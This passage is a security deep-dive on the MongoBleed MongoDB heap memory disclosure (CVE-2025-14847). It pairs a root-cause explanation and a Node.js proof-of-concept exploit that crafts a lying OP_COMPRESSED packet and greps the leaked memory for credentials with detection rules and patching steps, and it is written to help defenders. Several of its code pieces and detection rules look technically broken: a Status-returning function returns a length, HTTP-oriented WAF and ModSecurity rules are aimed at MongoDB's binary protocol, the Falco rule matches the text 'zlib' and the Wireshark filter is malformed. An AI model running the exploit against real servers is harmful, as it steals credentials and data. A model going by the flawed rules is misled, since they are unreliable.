MongoBleed: Pre-Authentication Heap Memory Disclosure in MongoDB (CVE-2025-14847)

type: deep-dive
difficulty: advanced
keyTakeaways:
- Understand MongoBleed heap memory disclosure vulnerability mechanics
- Detect exploitation attempts with Falco, WAF, and SIEM rules
- Implement immediate mitigation through patching, compression disabling, and network controls
prerequisites: MongoDB basics, security fundamentals, networking concepts
targetAudience: Security engineers, database administrators, and DevOps teams

MongoBleed represents a critical information disclosure vulnerability in MongoDB's network protocol implementation that allows unauthenticated remote attackers to read sensitive data directly from server heap memory. Discovered and disclosed on December 19, 2025, this vulnerability carries a CVSS score of 7.5 and affects MongoDB deployments with zlib compression enabled a common default configuration.

What makes MongoBleed particularly dangerous is its pre-authentication nature. Attackers require no credentials, no special privileges, and no prior access to the database. A single TCP connection to an exposed MongoDB instance is sufficient to begin extracting sensitive information including authentication credentials, API keys, session tokens, and other confidential data residing in adjacent heap memory allocations.

The vulnerability has been actively exploited within 24 hours of public disclosure, with scanning campaigns targeting internet-facing MongoDB instances globally. Organizations running self-hosted MongoDB deployments must treat this as a critical incident requiring immediate remediation.

Impact and Security Implications

MongoBleed significantly expands the attack surface of MongoDB deployments:

• No authentication required
• Triggered during initial protocol negotiation
• Affects default compression configurations
• Leaks sensitive heap memory contents
• Enables credential harvesting and lateral movement

Exposed MongoDB instances on port 27017 are particularly at risk, especially in self-hosted environments where network isolation is not enforced.

Technical Root Cause

MongoBleed originates from a subtle but critical programming error in MongoDB's message compression handling code, specifically in the message_compressor_zlib.cpp file. The vulnerability stems from incorrect length calculation during the decompression of network protocol messages.

The Flawed Implementation

When MongoDB receives a compressed message over the network, it must decompress the payload before processing. The decompression logic is supposed to return the actual size of the decompressed data. However, due to a programming error, the code returns the allocated buffer size (output.length()) instead of the actual decompressed data length.

This discrepancy creates a critical vulnerability: when an attacker sends an undersized compressed payload, the server allocates a buffer based on claimed decompressed size but only fills a portion of it with actual data. The remaining buffer space contains whatever data happened to be in that heap memory location previously, potentially including sensitive information from prior operations.

Vulnerable Code Pattern

// Simplified vulnerable code in message_compressor_zlib.cpp

Status ZlibMessageCompressor::decompress(
    const ConstDataRange& input,
    DataRange* output
) {
    z_stream stream;
    // ... initialization code ...

    int ret = inflate(&stream, Z_FINISH);

    if (ret != Z_STREAM_END) {
        return Status(ErrorCodes::BadValue, "Decompression failed");
    }

    // VULNERABILITY: Returns allocated buffer size instead of actual data size
    // This causes uninitialized heap memory to be included in response
    return output->length();  // Should be: stream.total_out
}

Memory Disclosure Mechanism

What Gets Leaked

Leaked heap memory may contain:

• Database usernames and passwords
• API keys and secrets
• Session tokens (JWTs)
• BSON document fragments
• Internal server state

Attack Flow Breakdown

MongoBleed exploitation follows a straightforward attack pattern that can be executed by any attacker with network access to a vulnerable MongoDB instance.

Exploitation Requirements

The simplicity of exploitation is what makes MongoBleed particularly concerning:

• Network Reachability: Ability to connect to MongoDB port 27017 (or custom port)
• zlib Compression Enabled: Server must have zlib compression support (common default)
• No Authentication Required: Vulnerability triggered before authentication checks
• Single TCP Connection: One connection sufficient for exploitation
• No Special Privileges: Works from completely unprivileged network position

Proof of Concept Attack Code

// Simplified MongoBleed exploitation example

const net = require("net");
const zlib = require("zlib");

function exploitMongoBleed(targetHost, targetPort) {
  const client = net.connect(targetPort, targetHost, () => {
    console.log("Connected to MongoDB target");

    // Create minimal BSON document
    const minimalBSON = Buffer.from([
      0x05,
      0x00,
      0x00,
      0x00,
      0x00, // 5-byte empty BSON
    ]);

    // Compress it (results in ~10 bytes)
    const compressed = zlib.deflateSync(minimalBSON);

    // Craft OP_COMPRESSED message claiming large decompressed size
    const messageHeader = Buffer.alloc(16);
    messageHeader.writeInt32LE(16 + compressed.length, 0); // Total message length
    messageHeader.writeInt32LE(1, 4); // Request ID
    messageHeader.writeInt32LE(0, 8); // Response to
    messageHeader.writeInt32LE(0x2012, 12); // OP_COMPRESSED (0x2012)

    // Compression details
    const compressionHeader = Buffer.alloc(9);
    compressionHeader.writeInt32LE(0x2004, 0); // Original opcode
    compressionHeader.writeInt32LE(4096, 4); // FALSE claim: 4096 bytes uncompressed
    compressionHeader.writeInt8(0x02, 8); // Compressor ID (zlib)

    // Send malicious packet
    const payload = Buffer.concat([
      messageHeader,
      compressionHeader,
      compressed,
    ]);

    client.write(payload);
    console.log("Malicious packet sent - waiting for heap memory leak...");
  });

  client.on("data", (data) => {
    console.log(`Received ${data.length} bytes (contains heap memory!)`);
    console.log("Leaked data sample:", data.toString("hex").substring(0, 200));

    // Parse for sensitive patterns
    const dataStr = data.toString("utf8", { errors: "ignore" });
    if (dataStr.match(/password|token|key|secret/i)) {
      console.log("⚠️  Potential credentials found in leaked memory!");
    }

    client.end();
  });

  client.on("error", (err) => {
    console.error("Connection error:", err.message);
  });
}

// Usage
exploitMongoBleed("vulnerable-mongodb.example.com", 27017);

Detection & Indicators of Compromise

Organizations should implement comprehensive monitoring to detect MongoBleed exploitation attempts and assess whether they have been compromised. Detection focuses on network traffic anomalies and memory access patterns characteristic of this vulnerability.

Network Traffic Indicators

Monitor network traffic destined for MongoDB servers (typically port 27017) for the following suspicious patterns:

• OP_COMPRESSED Messages: Watch for OP_COMPRESSED opcode (0x2012) with inconsistent compressed/decompressed length ratios
• Undersized Payloads: zlib-compressed payloads smaller than 100 bytes claiming large decompressed sizes (1KB+)
• Repeated Connections: Multiple TCP connections from same source with compression probes
• Abnormal Response Sizes: Server responses significantly larger than request complexity warrants
• Non-BSON Data in Responses: Binary data that doesn't conform to BSON structure (leaked heap garbage)

Wireshark Detection Filter

# Wireshark filter to detect potential MongoBleed exploitation

tcp.port == 27017 &&
tcp.payload[12:2] == 12:20 &&   # OP_COMPRESSED opcode
tcp.len < 100                  # Suspiciously small payload

Sysdig Falco Detection Rules

Sysdig has released specialized Falco rules for MongoBleed detection that monitor system calls and network behavior.

# Falco rule for MongoBleed detection

- rule: MongoBleed Exploitation Attempt
  desc: Detects potential MongoBleed heap memory disclosure
  condition: >
    (proc.name = "mongod") and
    (evt.type = "read" or evt.type = "write") and
    (fd.sport = 27017 or fd.dport = 27017) and
    (evt.buffer contains "zlib" or evt.rawres contains "compressed")
  output: >
    Possible MongoBleed exploitation detected
    (user=%user.name process=%proc.name connection=%fd.name buffer_size=%evt.buflen)
  priority: CRITICAL

# Rule for abnormal heap memory access patterns

- rule: MongoBleed Memory Disclosure Pattern
  desc: Detects unusual memory access during compression
  condition: >
    (proc.name = "mongod") and
    (evt.type = "mmap" or evt.type = "munmap") and
    (evt.arg.request contains "PROT_READ") and
    (fd.sport = 27017)
  output: >
    Suspicious memory access pattern in mongod process
    (user=%user.name addr=%evt.arg.addr size=%evt.arg.length)
  priority: WARNING

Elastic Stack Detection Query

// Elasticsearch query for MongoBleed indicators
GET /network-logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        {
          "term": {
            "destination.port": 27017
          }
        },
        {
          "match": {
            "network.protocol": "mongodb"
          }
        }
      ],
      "should": [
        {
          "match": {
            "event.payload": "OP_COMPRESSED"
          }
        },
        {
          "match": {
            "event.payload": "zlib"
          }
        }
      ],
      "filter": {
        "range": {
          "source.bytes": {
            "lt": 100
          }
        }
      }
    }
  }
}

Log Analysis for Historical Compromise

Organizations should review MongoDB logs for signs of historical exploitation:

# Search MongoDB logs for suspicious compression activity
grep -i "compressed" /var/log/mongodb/mongod.log | \
grep -E "(error|warning|unusual)"

# Look for connection patterns from unknown sources
grep "connection accepted" /var/log/mongodb/mongod.log | \
awk '{print $NF}' | sort | uniq -c | sort -rn

# Identify abnormally large response sizes
grep -i "response" /var/log/mongodb/mongod.log | \
awk '{if($6 > 10000) print $0}'

Mitigation Steps

Organizations must take immediate action to protect MongoDB deployments from MongoBleed exploitation. The following mitigation strategies provide layered defense against this vulnerability.

1. Patch Immediately

Upgrade to MongoDB versions that include the fix for CVE-2025-14847. This is the most comprehensive solution.

# Check current MongoDB version
mongod --version

# Stop MongoDB service
sudo systemctl stop mongod

# Backup configuration and data (CRITICAL!)
sudo mongodump --out /backup/pre-mongobleed-patch

# Update MongoDB (Ubuntu/Debian)
sudo apt update
sudo apt install mongodb-org=8.0.5 mongodb-org-server=8.0.5

# Update MongoDB (RHEL/CentOS)
sudo yum update mongodb-org-8.0.5 mongodb-org-server-8.0.5

# Start MongoDB service
sudo systemctl start mongod

# Verify patched version
mongod --version | grep "8.0.5"

2. Disable zlib Compression

If immediate patching is not possible, disable zlib compression to eliminate the attack vector.

# Edit MongoDB configuration file (/etc/mongod.conf)

net:
  compression:
    compressors: "snappy,zstd"   # Remove zlib, keep other compressors

# Alternative: Disable all compression
net:
  compression:
    compressors: "none"

3. Implement Network-Level Controls

Restrict MongoDB port 27017 access to only trusted IP addresses using firewall rules

# UFW (Ubuntu/Debian)
sudo ufw deny 27017/tcp
sudo ufw allow from 10.0.0.0/8 to any port 27017 proto tcp
sudo ufw allow from 192.168.1.0/24 to any port 27017 proto tcp

# iptables
sudo iptables -A INPUT -p tcp --dport 27017 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -j DROP

# Save iptables rules
sudo iptables-save > /etc/iptables/rules.v4

# AWS Security Group (CLI)
aws ec2 authorize-security-group-ingress \
  --group-id sg-xxxxx \
  --protocol tcp \
  --port 27017 \
  --cidr 10.0.0.0/8

4. Deploy IDS / Runtime Detection

Implement application-level protection using Web Application Firewall rules.

// Cloudflare WAF custom rule
{
  "expression": "(cf.edge.server_port eq 27017) and (http.request.body.raw contains \"zlib\" or http.request.headers[\"x-mongodb-compression\"][0] eq \"zlib\")",
  "action": "block",
  "description": "Block MongoBleed exploitation attempts"
}

# ModSecurity rule
SecRule REQUEST_URI "@rx ^.*:27017" \
  "id:100001,phase:1,deny,status:403,msg:'MongoDB port blocked'"

# Snort IDS signature
alert tcp any any -> any 27017 (
  msg:"MongoBleed exploitation attempt";
  content:"|12 20|";        # OP_COMPRESSED opcode
  dsize:<100;
  reference:cve,2025-14847;
  classtype:attempted-admin;
  sid:1000001;
  rev:1;
)

5. Rotate Credentials

If you suspect your MongoDB instance may have been compromised, immediately rotate all credentials.

// MongoDB shell - Rotate user passwords

use admin
db.changeUserPassword("admin", "NEW_SECURE_PASSWORD")
db.changeUserPassword("appUser", "NEW_SECURE_PASSWORD")

// Update application connection strings
// OLD: mongodb://admin:oldpass@host:27017/db
// NEW: mongodb://admin:newpass@host:27017/db

// Revoke and regenerate API keys that may have been exposed
// Check application logs for any unauthorized access patterns

Real-World Exploitation Impact

MongoBleed has demonstrated significant real-world impact within hours of public disclosure, with attackers rapidly weaponizing the vulnerability to compromise database infrastructure globally.

Documented Attack Campaigns

• Mass Scanning Operations: Within 24 hours, automated scanners probed millions of IPv4 addresses for open MongoDB ports (27017)
• Credential Harvesting: Attackers extract database passwords, API keys, and JWT tokens from heap memory leaks
• Lateral Movement: Harvested credentials used to pivot to adjacent systems and cloud infrastructure
• Data Exfiltration: Once authenticated via leaked credentials, attackers dump entire databases
• Ransomware Deployment: Compromised MongoDB instances used as initial access for ransomware campaigns

Types of Sensitive Data Exposed

Heap memory in MongoDB servers frequently contains high-value targets:

• Authentication Credentials: Database usernames and passwords from recent authentication attempts
• API Keys: Application API keys used in connection strings
• Session Tokens: JWT tokens and session identifiers from web applications
• Document Fragments: Partial or complete BSON documents from other users' queries
• Connection Strings: Full MongoDB URIs including credentials for other databases
• Encryption Keys: Client-side field encryption keys stored in memory
• PII Data: Personally identifiable information from cached query results

Long-Term Security Recommendations

Beyond immediate MongoBleed mitigation, organizations should implement comprehensive security measures to protect database infrastructure:

1. Network Security Architecture

• Never expose MongoDB directly to the internet, always place behind VPN, bastion hosts, or private cloud networks
• Implement network segmentation to isolate database tier from application and presentation tiers
• Use VPC peering or private link for cloud-to-cloud database connections
• Deploy intrusion detection systems (IDS) on database network segments

2. Authentication & Access Control

• Enable MongoDB authentication (--auth) on all deployments
• Implement role-based access control (RBAC) with principle of least privilege
• Use certificate-based authentication for application connections
• Rotate database credentials quarterly or after any suspected compromise
• Implement multi-factor authentication (MFA) for administrative access

3. Encryption

• Enable TLS/SSL for all client connections to encrypt data in transit
• Implement MongoDB encryption at rest for sensitive data
• Use client-side field level encryption (CSFLE) for highly sensitive fields
• Store encryption keys in dedicated key management systems (AWS KMS, Azure Key Vault, HashiCorp Vault)

4. Monitoring & Auditing

• Enable MongoDB audit logging to track all database operations
• Implement SIEM integration for real-time security event correlation
• Set up alerting for suspicious patterns (failed auth attempts, unusual query patterns, large data exports)
• Regularly review user privileges and remove unnecessary